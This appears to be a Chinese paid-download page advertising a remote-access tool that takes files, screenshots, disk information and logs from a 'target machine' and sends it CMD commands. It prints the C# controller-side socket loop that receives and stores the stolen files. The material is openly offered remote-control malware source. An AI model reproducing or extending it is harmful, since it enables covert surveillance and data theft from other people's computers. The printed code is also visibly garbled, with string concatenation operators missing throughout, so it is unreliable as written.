嘿,亲!知识可是无价之宝呢,但咱这精心整理的资料也耗费了不少心血呀。小小地破费一下,绝对物超所值哦!如有下载和支付问题,请联系我们QQ(微信同号):78630559
本次赞助数额为: 10 元微信扫码支付:10 元
请留下您的邮箱,我们将在2小时内将文件发到您的邮箱
一个远程获取目标机文件的东西,利用Socket进行双向通信,获取目标机的文件路径、文件、发送CMD命令、获取目标机当前屏幕截图、电脑日志
//首先定义一个Socket 将对象强制转换成Socket类型
var client = o as Socket;
//设置一个无限循环来接收客户端发来的消息
while (true)
{
//开始接收客户端发来的消息
try
{
string ClientWord = "";
//定义Byte数组,将客户端要发来的消息存储到Byte数组
var buffer = new byte[8192];
//接收从客户端传来的字节 并存入到缓存中
int ByteLength = client.Receive(buffer);
//将客户端传来的字节转换为汉文
ClientWord = Encoding.UTF8.GetString(buffer, 0, ByteLength);
//将转换完的文字展示到文本框
if (ClientWord.StartsWith("Imagegetfile")) //判断传过来的是不是图片
{
string[] sArray = ClientWord.Split(' '); //分割客户端传回来的串 获取文件的名称
var Imagebuffer = new byte[Convert.ToInt32(sArray[2])]; //定义Byte数组来接收客户端传过来的图片 其实这快可以不这么做,但是不愿意改了
client.Receive(Imagebuffer); //接收客户端传回来的文件
if (Directory.Exists(@"E:\客户机文件夹"))
{
ImageHelper.CreateImageFromBytes(@"E:\客户机文件夹\" sArray[1], Imagebuffer); //将图片保存到指定路径
}
else
{
Directory.CreateDirectory(@"E:\客户机文件夹");
ImageHelper.CreateImageFromBytes(@"E:\客户机文件夹\" sArray[1], Imagebuffer); //将图片保存到指定路径
}
}
if (ClientWord.StartsWith("getfile")) //判断如果是文件
{
string[] sArray = ClientWord.Split(' '); //分割客户端传回来的串 获取文件的名称
var Filebuffer = new byte[Convert.ToInt32(sArray[2])]; //定义Byte数组来接收客户端传过来的文件
client.Receive(Filebuffer); //接收客户端传回来的文件
if (Directory.Exists(@"E:\客户机文件夹"))
{
FileBinaryConvertHelper.Bytes2File(Filebuffer, @"E:\客户机文件夹\" sArray[1]); //将文件保存到指定路径
}
else
{
Directory.CreateDirectory(@"E:\客户机文件夹");
FileBinaryConvertHelper.Bytes2File(Filebuffer, @"E:\客户机文件夹\" sArray[1]); //将文件保存到指定路径
}
}
if (ClientWord.StartsWith("getinfoFile")) //判断如果是文件夹路径
{
listBox1.Items.Clear();
string[] sArray = ClientWord.Split(' '); //先分割
foreach (string VARIABLE in sArray) //遍历到list
{
if (VARIABLE != "getinfoFile")
{
listBox1.Items.Add(VARIABLE); //添加到List
}
}
}
if (ClientWord.StartsWith("ChildFilegetinfoFile")) //判断如果是文件夹以及子文件的路径
{
listBox1.Items.Clear(); //清除List列表所有数据
string[] sArray = ClientWord.Split(' '); //先分割
foreach (string VARIABLE in sArray) //遍历到list
{
if (VARIABLE != "ChildFilegetinfoFile")
{
listBox1.Items.Add(VARIABLE); //添加到List
}
}
}
if (ClientWord.StartsWith("GetDiskInfo")) //返回来客户机磁盘信息
{
string[] sArray = ClientWord.Split(' ');
foreach (string list in sArray) //遍历返回来的磁盘
{
if (list != "GetDiskInfo"&&!string.IsNullOrEmpty(list))
{
lblDiskInfo.Text = list " "; //将其展示到标签
}
}
}
if (ClientWord=="GetShowLog")//客户端发来的消息 告诉服务器我发来的是日志
{
GetLog(client);
}
else
{
ShowMsg(client.RemoteEndPoint ":" ClientWord);//将日志信息展示到文本框
}
}
catch (Exception ex)
{
ShowMsg(ex.Message);
break;
}
}